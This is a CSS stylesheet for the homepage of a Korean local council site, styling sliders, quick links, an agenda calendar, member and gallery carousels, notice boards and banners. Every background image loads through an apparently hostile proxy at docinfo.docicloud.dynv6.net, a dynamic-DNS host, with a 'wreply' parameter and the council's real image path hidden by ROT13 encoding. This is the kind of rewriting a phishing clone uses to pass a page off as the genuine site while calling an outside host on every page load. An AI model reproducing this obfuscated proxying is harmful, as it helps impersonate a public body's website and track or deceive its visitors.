@charset "utf-8";
#container_main{position:relative; min-height:350px;}
#container_main h4{font-size:25px;}
#container_main h4,
#container_main .info{display:inline-block; vertical-align:top;}
#container_main .info{padding:3px 0 0 19px; font-size:15px; line-height:130%; word-break:keep-all;}

.sec2{padding:51px 0 50px; background:#ededed;}
.unit{position:relative; clear:both; overflow:hidden; width:100%; padding:0 498px 0 0; box-sizing:border-box;}

.more{z-index:2; position:absolute; top:0; right:0; display:block; width:28px; height:28px; font-size:0; text-indent:-999px; transition:background 0.3s ease;}
.more:before,
.more:after{content:''; display:block; position:absolute; top:13px; right:6px; width:14px; height:2px; transition:0.3s ease; background:#838383;}
.more:after{top:7px; right:12px; width:2px; height:14px;}
.more:hover,
.more:focus,
.more:active{background-color:#f9f9f9;}
.more:hover:before,
.more:focus:before,
.more:active:before,
.more:hover:after,
.more:focus:after,
.more:active:after{background-color:#555; transform:rotate(90deg);}

.t_more{display:block; position:absolute; top:20px; right:53px; font-size:15px;}
.t_more:after{content:''; display:block; position:absolute; top:50%; left:47px; width:21px; height:4px; margin:-2px 0 0 0; transition:0.3s ease; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_ohyyrg.cat) no-repeat -19px -113px;}
.t_more:hover:after{width:29px; background-position:-11px -113px;}

.control {z-index:2; position:absolute; bottom:0; right:0;}
.control a{position:relative; float:left; width:37px; height:37px; margin:0 0 0 1px; font-size:0; text-indent:-9999px; background:rgba(0,0,0,0.7) url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_ohyyrg.cat) no-repeat 0 7px;}
.control .btn_next{background-position:-76px 7px;}
.control .btn_stop{background-position:-38px 7px;}
.control .btn_play,
.control .btn_stop.on{background-position:-110px 7px;}
.control a:hover{z-index:1; background-color:rgba(0,0,0,0.81);}

#visual{position:relative; height:511px; background:#faf9f9;}
#visual .list_wrap *{vertical-align:top;}
#visual .list_wrap .list{position:relative; left:50%; top:0; margin:0 0 0 -535px;}
#visual .list_wrap .list:not(:first-of-type){display:none;}
#visual .list_wrap.slick-initialized .list:not(:first-of-type){display:block;} 

#visual .slogan{z-index:53; position:absolute; top:89px; left:50%; width:275px; margin:0 0 0 -600px; line-height:140%; color:#3e3d3d; word-break:keep-all;}
#visual .slogan p{padding:23px 0 0 0;}
#visual .slogan .slogan1 {margin-bottom:15px;}
#visual .page{z-index:3; position:absolute; bottom:135px; left:50%; margin:0 0 0 -570px; color:#fff; line-height:40px;}
#visual .page .num{color:#e94545;}
#visual .control{right:auto; bottom:135px; left:50%; width:166px; height:40px; margin:0 0 0 -600px; padding:0 0 0 80px; box-sizing:border-box; border-radius:40px; background-color:rgba(61,61,61,0.8);}
#visual .control a{width:22px; margin:0; background-position:-7px 9px; background-color:transparent;}
#visual .control .btn_next{background-position:-83px 9px;}
#visual .control .btn_stop{background-position:-46px 9px;}
#visual .control .btn_stop.on{background-position:-116px 9px;}

/* 바로가기 */
#quick {position:relative; width:100%; height:132px; margin:0 0 49px 0; background:#674f9b;}
#quick .inner{overflow:hidden;}
#quick .tit{float:left; width:16.7%; color:#fff;}
#quick h4{padding:25px 0 7px; font-weight:200;}
#quick h4 span{position:relative; display:inline-block; padding:5px 0 0 0; line-height:110%; font-size:30px; font-weight:800;} 
#quick h4 span:before{content:''; display:block; position:absolute; top:0; left:50%; width:4px; height:4px; border-radius:50%; margin:0 0 0 -2px; background:#fff;}
#quick .info{padding:0;}
#quick ul{float:left; width:83.3%; padding:20px 0 0 0; text-align:right;}
#quick li{position:relative; display:inline-block; width:14%; vertical-align:top;}
#quick li a{z-index:1; position:relative; display:block; max-width:176px; margin:0 auto; padding:65px 0 0 0; font-size:17px; text-align:center; color:#fff;}
#quick li a:before{content:''; display:block; position:absolute; top:0; left:50%; width:61px; height:61px; transition:0.3s ease-in-out; border-radius:50%; transform:translateX(-50%); background:rgba(0,0,0,0.1) url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_yvax1.cat) no-repeat 50% 10px;}
#quick li.list2 a:before{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_yvax2.cat);}
#quick li.list3 a:before{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_yvax3.cat);}
#quick li.list4 a:before{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_yvax4.cat);}
#quick li.list5 a:before{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_yvax5.cat);}
#quick li.list6 a:before{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_yvax6.cat);}
#quick li.list7 a:before{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_yvax7.cat);}
#quick li a:hover:before,
#quick li a:focus:before,
#quick li a:active:before{box-shadow:inset 0 0 0 2px rgba(255,255,255,0.7); background-color:rgba(0,0,0,0.35); background-position:50% -72px;}

/* 열린의장실 */
#chairman{position:relative; float:left; width:48.75%; height:304px; padding:45px 0 0 25%; margin:0 0 30px; color:#fff; box-sizing:border-box; background:#5079b9 url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Sot_punvezna.tvs) no-repeat 100% 100%;}
#chairman .txt {position:relative; z-index:1;}
#chairman .txt p{padding:20px 0 25px; line-height:160%; font-size:17px;}
#chairman .txt p strong{font-size:22px;}
#chairman .txt .btns a{position:relative; display:block; width:152px; height:35px; line-height:35px; margin:0 0 10px; border-radius:35px; color:#fff; text-align:center; transition:0.5s ease-in-out; box-sizing:border-box; background:#30496f;}
#chairman .txt .btns a:hover{box-shadow:3px -3px 0 2px rgba(255,255,255,0.4); background:#1a355f;}
#chairman .pic{position:absolute; left:0; bottom:0;}

/* 의사일정 */
#agenda {float:right; width:48.75%; height:304px; padding:33px 39px 0 39px; box-sizing:border-box; color:#494949; border:1px solid #e5e5e5; text-align:center;}
#agenda h4{float:left; padding:0 42px 20px 0;}
#agenda .date{float:left; font-size:18px; letter-spacing:-1px;}
#agenda .date *{display:inline-block;}
#agenda .date span{padding:0 10px 0 0; font-weight:800;}
#agenda .date strong{font-size:30px; font-weight:800; color:#6949b2;}
#agenda .week_wrap{position:relative; clear:both; width:100%; padding:0 40px; margin:0 auto 27px; text-align:center; font-weight:200; box-sizing:border-box;}
#agenda .week_wrap .control{width:100%; bottom:auto; top:28px;}
#agenda .week_wrap .control a{position:absolute; left:0; top:0; background-color:transparent; background-position:10px -38px;}
#agenda .week_wrap .control .btn_next{left:auto; right:0; background-position:-54px -38px;}
#agenda .week{max-width:650px; margin:0 auto;}
#agenda .week .list:not(:first-of-type){display:none;}
#agenda .week.slick-initialized .list:not(:first-of-type){display:block;} 
#agenda .week p{line-height:25px; font-size:12px; font-weight:200;}
#agenda .week span{z-index:2; position:relative; display:inline-block; width:42px; height:42px; line-height:42px; font-size:19px; border-radius:50%; background:#f1f1f1;}
#agenda .week a{display:block; border-radius:50%;}
#agenda .week .sun{color:#e24040;}
#agenda .week .sat{color:#416ae0;}
#agenda .week .today span,
#agenda .week .today a{color:#fff;}
#agenda .week .today span a:hover,
#agenda .week .today span{background:#785bba;}
#agenda .week .agenda span a:hover{background:#e5e5e5;}
#agenda .week .agenda span:after{content:''; display:block; position:absolute; left:50%; bottom:7px; height:2px; width:12px; transform:translateX(-50%); background:#785bba;}

#agenda .list_wrap{overflow:hidden; position:relative; width:100%; height:93px; padding:22px 130px 20px 30px; margin:0 0 19px; font-size:15px; border:1px solid #ded7ef; text-align:left; background:rgba(105,82,157,0.2); box-sizing:border-box;}
#agenda .list_wrap .slick-slide{height:24px;}
#agenda .list_wrap .list p{position:relative; width:100%; line-height:24px; padding:0 40px 0 11px; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; box-sizing:border-box;}
#agenda .list_wrap .list p:before{content:''; display:block; position:absolute; top:50%; left:0; width:3px; height:3px; margin:-2px 0 0 0; background:#818181;}
#agenda .list_wrap .control{z-index:2; bottom:10px; right:131px; width:23px;}
#agenda .list_wrap .control a{width:100%; height:23px; background-position:-7px 2px; background-color:rgba(0,0,0,0.2);}
#agenda .list_wrap .control a:hover{background-color:rgba(0,0,0,0.32);}
#agenda .list_wrap .control .btn_next{background-position:-84px 2px;}
#agenda .list_wrap .control .btn_stop{background-position:-46px 2px;}
#agenda .list_wrap .control .btn_stop.on{background-position:-117px 2px;}
#agenda .list_wrap .control .btn_prev,
#agenda .list_wrap .control .btn_next{transform:rotate(90deg);}
#agenda .t_more{top:30px; right:57px;}
#agenda .list_wrap .t_more{right:0; top:26px; width:130px; padding:0 0 12px; text-align:center; /*border-left:1px solid #898897; */}
#agenda .list_wrap .t_more:after{top:auto; left:50%; bottom:0;  margin:0 0 0 -10px;}

/* 현역의원 */
#member{position:relative; float:right; width:48.75%;}
#member:before{background:#eee;}
#member h4{line-height:100%;}
#member .list_wrap{overflow:hidden; width:100%; padding:30px 0 0 0; box-sizing:border-box;}
#member .list{position:relative; float:left; width:300px; text-align:center; border-left:1px solid #cecece; box-sizing:border-box;}
#member .slick-current .list{border-left:none;}
#member .list_wrap .list:not(:first-of-type){display:none;}
#member .list_wrap.slick-initialized .list:not(:first-of-type){display:block;} 
#member .pic{position:relative;}
#member .pic .img{display:block; overflow:hidden; width:174px; height:174px; margin:0 auto; border-radius:50%;}
#member .pic img{width:100%;}
#member .name{display:block; padding:13px 0 6px 0; font-size:20px; font-weight:800;}
#member .area{line-height:25px;}
#member .home{position:absolute; bottom:0; left:50%; height:58px; width:58px; font-size:0; text-indent:-999px; border-radius:50%; margin:0 0 0 62px; background:#323544 url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_ohyyrg.cat) no-repeat 18px -225px;}
#member .home:hover{background-color:#515360;}
#member .control{bottom:auto; top:-5px; padding:0 28px 0 0;}
#member .control a{background-color:transparent; background-position:-36px -190px;}
#member .control .btn_next{background-position:-95px -190px;}
#member .control .btn_stop{background-position:-64px -190px;}
#member .control .btn_stop.on{background-position:-120px -190px;}
#member .more{transition:0.3s ease; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_ohyyrg.cat) no-repeat 2px -195px;}
#member .more:hover{transform:rotate(90deg);}
#member .more:before,
#member .more:after{display:none;}

/* 공지사항 */
#board{position:relative; float:left; width:100%; height:364px; box-sizing:border-box;}
#board > ul{position:relative; float:left; width:100%; border:1px solid #e6e6e6; box-sizing:border-box;}
#board > ul > li{float:left;}
#board li h4{line-height:0; padding:0;}
#board li h4 a{position:relative; display:block; padding:0 20px; line-height:60px; font-weight:400; font-size:22px; color:#6c6c6c; text-decoration:none; text-align:center; transition:font-size 0.3s ease; box-sizing:border-box;}
#board li:first-child h4 a{padding-left:25px;}
#board li.on h4 a{color:#3770b5; font-size:23px; font-weight:800;}
#board .con{display:none; position:absolute; top:60px; left:0; width:100%;}
#board .on .con{display:block;}
#board .con ul{overflow:hidden; width:100%; padding:20px 30px 0 30px; border-top:1px solid #e6e6e6;box-sizing:border-box;}
#board .con li{position:relative; float:left; width:100%; height:36px; padding:0 0 0 20px; box-sizing:border-box;}
#board .con li:before{top:11px; width:4px; height:4px; background:#4cabec;}
#board .con li a{position:relative; float:left; width:100%; padding:0 100px 0 0; box-sizing:border-box; text-decoration:none;}
#board .con li a:hover .title,
#board .con li a:focus .title,
#board .con li a:active .title{text-decoration:underline;}
#board .date{position:absolute; right:0; top:1px; width:100px; font-weight:200;}
#board .title{display:inline-block; line-height:115%; max-width:98%; font-size:17px; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; box-sizing:border-box; vertical-align:middle;}
#board .title span,
#board .first .sbj{padding:0 23px 0 0; margin:0 23px 0 0; border-right:1px solid #adadad; font-size:15px;}
#board .new{display:inline-block; width:15px; height:15px; line-height:15px; margin:5px 0 0 4px; font-size:10px; text-transform:uppercase; text-align:center; color:#fff; border-radius:50%; background:#e55454; vertical-align:top;}
#board .none{width:100%; padding:3em 0 0 0 !important; text-align:center; background:none;}
#board .none:before,
#board .t_more{display:none;}
#board .on .t_more{display:block;}

#board .first *{display:inline-block; vertical-align:top;}
#board .first a{position:relative; width:100%; height:94px; padding:26px 130px 0 115px; text-decoration:none; box-sizing:border-box; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_abgvpr.cat) no-repeat 30px 50%;}
#board .first .sbj{font-size:18px; margin-top:10px !important;}
#board .first .tit{position:relative; width:100%; font:800 18px/110% "Noto Sans KR", sans-serif; box-sizing:border-box;}
#board li:first-child .first .tit{width:calc(100% - 115px);}
#board .first .tit strong{width:100%; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;}
#board .first .tit .detail{padding:5px 0 0 0; max-width:98%; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; font-size:15px; font-weight:200;}
#board .first a:hover .detail{text-decoration:underline;}
#board .first .date{top:36px; right:30px;}

#sch_wrap{position:absolute; right:0; top:0; float:right; width:468px; background:#ededed;}
.sch{overflow:hidden; height:153px; padding:28px 0 0 30px; border:1px solid #cecece; box-sizing:border-box;}
.sch2{border-top:none;}
.sch input[type="text"],
.sch select{height:43px; width:100%; padding:0 0 0 12px; box-shadow:2px 2px 2px rgba(0,0,0,0.13); box-sizing:border-box; border-color:#fff; border-radius:43px; -webkit-appearance:none; -moz-appearance:none; -moz-appearance:none;}
.sch input[type="text"]{float:left; padding:0 0 0 20px;}
.sch select::-ms-expand{display:none;}
.sch select:hover,
.sch input[type="text"]:hover,
.sch input[type="text"]:focus{box-shadow:1px 1px 1px rgba(0,0,0,0.13);}
.sch button[type="submit"]{position:absolute; right:18px; top:0; width:43px; height:43px; border-radius:43px; font-size:0; text-indent:-999px; background:#fff url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_ohyyrg.cat) no-repeat -58px -94px;}
.sch select:hover{cursor:pointer;}
.sch .intxt{position:relative; float:left; width:42.85%;}

.sch1 .dot{float:left; width:46%; padding:0 0 0 9%;}
.sch1 .dot li{display:inline-block; width:48%; padding-bottom:2px; vertical-align:top;}
.sch1 .dot li:before{background:#323544;}

.sch1 .con,
.sch2 fieldset{float:left; width:100%; padding:24px 0 0 0;}
.sch2 .sel{position:relative; float:left; width:16%;}
.sch2 .sel:before{content:''; display:block; position:absolute; top:50%; right:13px; width:9px; height:7px; margin:-4px 0 0 0; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_ohyyrg.cat) no-repeat 0 -323px;}
.sch2 .sel + .sel{width:28%; margin:0 6px 0 6px;}
.sch2 .intxt{width:46%;}

#gallery{z-index:1; position:relative; overflow:hidden; width:100%; padding:49px 0 0 0; box-sizing:border-box;}
#gallery h4{padding:0 22px 23px 0;}
#gallery .info{padding:10px 0 0 0; font-size:16px;}
#gallery .list_wrap{float:left; width:100%;}
#gallery .slick-center{position:relative; z-index:1;}
#gallery .list_wrap .list:not(:first-of-type){display:none;}
#gallery .list_wrap.slick-initialized .list:not(:first-of-type){display:block;} 
#gallery .list{float:left;}
#gallery .list *{display:block;}
#gallery .list a{width:281px; margin:0 19px 50px 0; border:1px solid #e4e4e4; transition:0.3s ease;}
#gallery .list img{width:100%; height:204px; transition:0.3s ease;}
#gallery .list .img{position:relative; overflow:hidden;}
#gallery .list .sbj{height:112px; padding:0 5px; text-align:center;}
#gallery .list em{width:100%; padding:20px 0 10px; font-size:17px; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;}
#gallery .list .date{line-height:100%; color:#6b6b6b;}
#gallery .list a:active img,
#gallery .list a:hover img,
#gallery .list a:focus img{transform:scale(1.1);}
#gallery .list a:hover,
#gallery .list a:active,
#gallery .list a:focus{box-shadow:4px 4px 4px rgba(0,0,0,0.15);}
#gallery .control {bottom:auto; top:0; right:0; padding:0 41px 0 0;}
#gallery .control a{position:relative; z-index:1; width:40px; height:39px; margin:0; background-color:#323544; background-position:17px -279px;}
#gallery .control .btn_next{background-position:-65px -279px;}
#gallery .control .btn_stop{background-position:-25px -279px;}
#gallery .control .btn_stop.on{background-position:-108px 10px;}
#gallery .control a:before{content:''; display:block; position:absolute; top:50%; right:0; width:1px; height:21px; margin:-10px 0 0 0; background:rgba(255,255,255,0.3);}
#gallery .more{position:absolute; top:0; right:0; display:block; width:41px; height:39px; font-size:0; text-indent:-999px; transition:0.3s ease; background:#323544 url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_ohyyrg.cat) no-repeat -103px -279px;}
#gallery .more:before,
#gallery .more:after{display:none;}
#gallery .more:hover,
#gallery .control a:hover{background-color:#171a27;}

#popup {z-index:1; position:absolute; right:0; top:0; float:right; width:468px; background:#5079b9;}
#popup h4{z-index:55; position:absolute; top:18px; left:30px; color:#fff;}
#popup .list_wrap {position:relative; width:100%; text-align:center; border:1px solid #dcdddd; box-sizing:border-box;}
#popup .list_wrap *{vertical-align:top;}
#popup .list_wrap img{margin:0 auto;}
#popup .none{padding:100px 0 0 0; box-sizing:border-box;}

#banner{clear:both; overflow:hidden; height:113px; border-top:1px solid #efeded;}
#banner .inner{position:relative; padding:0 30px 0 165px; box-sizing:border-box;}
#banner .tit{position:absolute; top:30px; left:0; width:150px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Spbzzba%2Sot_ohyyrg.cat) no-repeat 83% -466px;}
#banner h4{margin:0 0 9px; font-size:20px !important;}
#banner .list_wrap{float:left; width:100%; padding:27px 0 0 0;}
#banner .list{float:left;}
#banner .list a{display:block; margin:0 40px 0 0;}
#banner .control{position:static; overflow:hidden; width:100%;}
#banner .control a{width:20px; height:20px; margin:0 0 0 3px; border:1px solid #b7b7b7; background:#fff url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.tbfrbat.tb.xe%2Svzntrf%2Spbzzba%2Sot_ohyyrg.cat) no-repeat 7px -706px;}
#banner .control .btn_prev{margin:0; background-position:6px -666px;}
#banner .control .btn_stop{background-position:8px -746px;}
#banner .control .btn_stop.on{background-position:8px -783px;}
#banner .control a:hover{border-color:#666;}
#banner .more{top:15px;}

@media all and (max-width:1320px) {
	#visual{height:auto;}
	#visual .list_wrap .list{left:0; margin:0 0 0 5%;}
	#visual .list_wrap .list img{max-width:100%; margin:0 -5% 0 0;}
	#visual .control,
	#visual .page{bottom:50px; left:2%; margin:0;}
	#visual .page{margin:0 0 0 30px;}
}
@media all and (max-width:1220px) {
	.t_more{right:40px;}

	#visual .slogan{left:2%; top:70px; width:18%; margin:0;}
	#visual .slogan img{max-width:100%;}

	#quick h4 {font-size:23px;}
	#quick h4 span{font-size:26px;}
	#quick .info{padding:6px 0 0 0;}

	#chairman .pic{width:64%;}
	#chairman .pic img{max-width:100%;}

	#board li h4 a{padding:0 7px; font-size:19px;}
	#board li:first-child h4 a{padding-left:10px;}
	#board li.on h4 a{font-size:20px;}
	#board .title{font-size:16px;}
	#board .date{font-size:15px;}
	#board .first a{padding-left:90px; background-position:15px 50%;}
	#board .title span, #board .first .sbj{margin:0 18px 0 0; padding:0 18px 0 0;}
	
	#member .home{margin:0 0 0 60px;}

}
@media all and (max-width:1024px) {
	#container_main h4{font-size:24px;}
	#container_main .info{font-size:14px;}

	.unit{padding:0;}
	.sec2{padding:25px 0;}

	#visual .slogan{top:30px;}
	#visual .slogan p{display:none;}
	#visual .control,
	#visual .page{bottom:30px;}

	#agenda,
	#chairman,
	#member,
	#sch_wrap,
	#popup{width:100%;}

	#quick{height:auto; padding:0 0 17px; margin:0 0 20px;}
	#quick .tit,
	#quick ul{width:100%; text-align:center;}
	#quick h4{display:block; padding:20px 0 0 0; font-size:22px;}
	#quick h4 span{font-size:24px;}
	#quick .info{display:block; padding:4px 0 0 0; color:rgba(255,255,255,0.75);}
	#quick li{width:13.5%;}
	#quick li a{font-size:16px;}

	#chairman,
	#agenda{position:relative; margin:0 0 30px;}
	
	#chairman{height:215px; padding:25px 0 0 30%;}
	#chairman .txt {position:relative; z-index:2; font-size:15px;}
	#chairman .txt p{padding:12px 0 15px; line-height:145%; font-size:16px;}
	#chairman .txt .btns a{display:inline-block; margin:0 5px 0 0;}
	#chairman .pic {height:100%;}
	#chairman .pic img{max-height:100%;}

	#agenda{height:auto; padding:20px 30px 0;}
	#agenda h4{padding:3px 35px 15px 0;}
	#agenda .week_wrap{margin:0 0 15px;}
	#agenda .list_wrap{height:85px; padding:15px 130px 15px 20px;}
	#agenda .list_wrap .control{bottom:7px;}
	#agenda .t_more{top:20px;}
	
	#board{height:310px;}
	#board li h4 a{font-size:20px;}
	#board li.on h4 a{font-size:22px;}
	#board .con ul{padding:15px 5px 0 10px;}
	#board .con li{height:32px; padding:0 0 0 10px;}
	#board .first a{height:80px; padding:20px 100px 0 90px;}
	#board .first .date{top:30px; right:5px;}
	#board .first .sbj{font-size:16px;}
	#board .title span, #board .first .sbj{margin:0 12px 0 0; padding:0 12px 0 0;}

	#popup{position:relative; margin:0 0 20px;}
	
	#member .list_wrap{padding:25px 0 30px;}
	#member .pic .img{width:140px; height:140px;}
	#member .home{width:48px; height:48px; margin:0 0 0 43px; background-position:13px -232px;}
	#member .txt{font-size:15px;}
	#member .txt p span{display:block; line-height:120%;}
	#member .name{font-size:19px;}

	#sch_wrap{position:static; float:left;}

	.sch{height:auto; padding:20px 0 20px 30px;}
	.sch1 .con, .sch2 fieldset{padding:15px 0 0 0;}

	#gallery .list a{width:260px; margin:0 19px 40px 0;}
	#gallery .list img{height:190px;}
	#gallery .list em{padding:15px 0 5px; font-size:16px;}
	#gallery .list .sbj{height:80px;}
	#gallery .list .date{font-size:15px;}
	
	#banner{height:90px;}
	#banner .inner{padding:0 25px 0 120px;}
	#banner .tit{top:17px; width:120px;}
	#banner .list_wrap{padding:15px 0 0 0;}
	#banner .list a{margin:0 15px 0 0;}
}
@media all and (max-width:768px) {
	#container_main h4{font-size:22px;}
	#container_main .info{padding-left:10px; font-size:13px;}
	#quick,
	#agenda,
	#popup{margin:0 0 10px;}

	#agenda h4{padding-bottom:13px;}
	#agenda .date{font-size:16px;}
	#agenda .date strong{font-size:28px;}
	#agenda .week_wrap .control{top:22px;}
	#agenda .week span{width:36px; height:36px; line-height:36px; font-size:17px;}

	#member .pic .img{width:120px; height:120px;}
	#member .home{width:43px; height:43px; background-position:10px -234px;}

	#quick{padding:0;}
	#quick h4 {font-size:20px;}
	#quick h4 span{font-size:22px;}
	#quick .info{padding:2px 0 0 0;}
	#quick ul{padding:15px 0 11px 0;}
	#quick li{width:26%;}
	#quick li:nth-child(-n+4){width:24%;}
	#quick li a{padding:60px 0 6px; font-size:15px;}
	#quick li a:before{width:55px; height:55px; background-size:auto 100px;}
	#quick li a:hover:before,
	#quick li a:focus:before,
	#quick li a:active:before{background-position:50% -56px;}

	#chairman{height:205px;}
	#chairman .txt p{font-size:15px;}
	#chairman .txt p strong{font-size:20px;}

	#board li h4 a{font-size:18px;}
	#board li.on h4 a{font-size:20px;}

	#gallery{padding:35px 0 0 0;}
	#gallery h4{padding:0;}
	#gallery h4 img{height:32px;}
	#gallery .info{display:block; padding:3px 0 20px;}
	#gallery .list a{width:230px;}
	#gallery .list img{height:168px;}
	#gallery .list em{padding:10px 0 3px; font-size:15px;}
	#gallery .list .sbj{height:73px;}
	#gallery .list .date{font-size:14px;}
}
@media all and (max-width:568px) {
	#container_main h4{font-size:20px;}
	#container_main .info{font-size:12px;}
	.t_more{font-size:14px;}
	.t_more:after{left:40px;}
	
	.sec2{padding:20px 0;}

	#visual .slogan{top:5px; width:19.5%;}
	#visual .slogan img:first-of-type{margin:0 0 -7px;}
	#visual .control, #visual .page{bottom:20px;}
	#visual .control{height:32px; width:140px; padding:0 0 0 65px;}
	#visual .control a{height:32px; margin:-5px 0 0 0;}
	#visual .page{margin:0 0 0 20px; line-height:32px;}
	
	#quick h4{padding:17px 0 0 0; font-size:18px;}
	#quick h4 span{padding:6px 0 0 0; font-size:20px;}
	#quick h4 span:before{width:3px; height:3px;}
	#quick li a{font-size:14px;}

	#chairman{height:210px; padding:20px 0 0 38%;}
	#chairman .txt ,
	#chairman .txt p{font-size:14px;}
	#chairman .txt p{padding:8px 0;}
	#chairman .txt p strong{font-size:19px;}
	#chairman .txt .btns a{display:block; width:130px; height:32px; line-height:32px; margin:2px 0 0 0;}

	#agenda{padding:20px 20px 0;}
	#agenda h4{padding:2px 20px 13px 0;}
	#agenda .date{font-size:15px;}
	#agenda .date strong{font-size:27px;}
	#agenda .week_wrap{padding:0 30px; margin:0 0 12px;}
	#agenda .week_wrap .control a{left:-10px;}
	#agenda .week_wrap .control .btn_next{right:-10px;}
	#agenda .week span{font-size:16px;}
	#agenda .list_wrap{height:80px; padding:14px 90px 13px 20px;}
	#agenda .list_wrap .control{right:10px; bottom:auto; top:10px; width:auto;}
	#agenda .list_wrap .control a{width:23px;}
	#agenda .list_wrap .t_more{top:40px; width:90px; padding:0 0 5px;}
	#agenda .list_wrap .list p{padding-right:0;}
	#agenda .t_more{right:45px;}

	#board {height:293px;}
	#board > ul {border:none;}
	#board > ul > li{width:50%; margin:0 0 -1px -1px; border:1px solid #e6e6e6; box-sizing:border-box;}
	#board > ul > li:first-child,
	#board > ul > li:nth-child(4){margin-left:0;}
	#board > ul > li:nth-child(-n+3){width:33.4%;}
	#board li h4{display:block;}
	#board li h4 a,
	#board li:first-child h4 a{padding:0;}
	#board li h4 a{height:35px; line-height:37px; font-size:16px;}
	#board li.on h4 a{font-size:17px;}
	#board .con{top:73px;}
	#board .con ul{padding:15px 0 0 5px;}
	#board .con li{height:29px;}
	#board .con li:last-child{display:none;}
	#board li:first-child .con li:last-child{display:block;}
	#board .con li:before{top:6px;}
	#board .con li a{padding:0 92px 0 0;}
	#board .title{font-size:15px;}
	#board .title span, #board .first .sbj{margin:0 7px 0 0; padding:0 7px 0 0; font-size:14px;}
	#board .date{width:90px; font-size:14px;}
	#board .first a{padding:17px 90px 0 60px; height:70px; background-position:5px 50%; background-size:43px;}
	#board .first .tit{font-size:17px;}
	#board li:first-child .first .tit{width:calc(100% - 80px);}
	#board .first .tit .detail{font-size:14px;}
	#board .first .date{top:25px; right:0;}
	#board .new{line-height:16px; margin:2px 0 0 3px;}
	#board .t_more{top:245px; right:0; width:100%; line-height:25px; border:1px solid #ddd; text-align:center; box-sizing:border-box;}
	#board .t_more:after{left:50%; margin:-2px 0 0 20px;}

	#member .list_wrap{padding:20px 0 25px;}
	#member .txt p span{display:inline-block;}
	#member .control{top:-8px;}
	#member .more{top:-3px;}
	#member .name{font-size:18px;}

	.sch{padding:20px 0 16px 20px;}
	.sch button[type="submit"]{right:0;}
	.sch2 .sel{width:20%;}
	.sch2 .intxt{width:44%;}
	.sch1 .con, .sch2 fieldset{padding:12px 0 0 0;}
	.sch2{padding-bottom:20px;}

	#popup h4{left:20px;}
	
	#gallery{padding:25px 0 0 0;}
	#gallery h4 {padding:6px 0 20px;}
	#gallery h4 img{height:30px;}
	#gallery .info{display:none;}
	#gallery .list a{width:186px; margin:0 15px 32px 0;}
	#gallery .list img{height:136px;}
	#gallery .list .sbj{height:67px;}

	#banner .inner{padding:0 25px 0 100px;}
	#banner .tit{width:100px; background-position:98% -466px;}
}
@media all and (max-width:400px) {
	#container_main h4{font-size:19px;}
	#container_main .info{font-size:11px;}

	.t_more{font-size:13px;}
	.t_more:after{left:37px;}

	#quick h4{font-size:17px;}
	#quick h4 span{font-size:19px;}
	#quick li a{font-size:13px;}
	
	#chairman{height:205px;}
	#chairman .txt,
	#chairman .txt p{font-size:13px;}
	#chairman .txt p strong{font-size:18px;}
	#chairman .pic{height:auto; width:58%;}

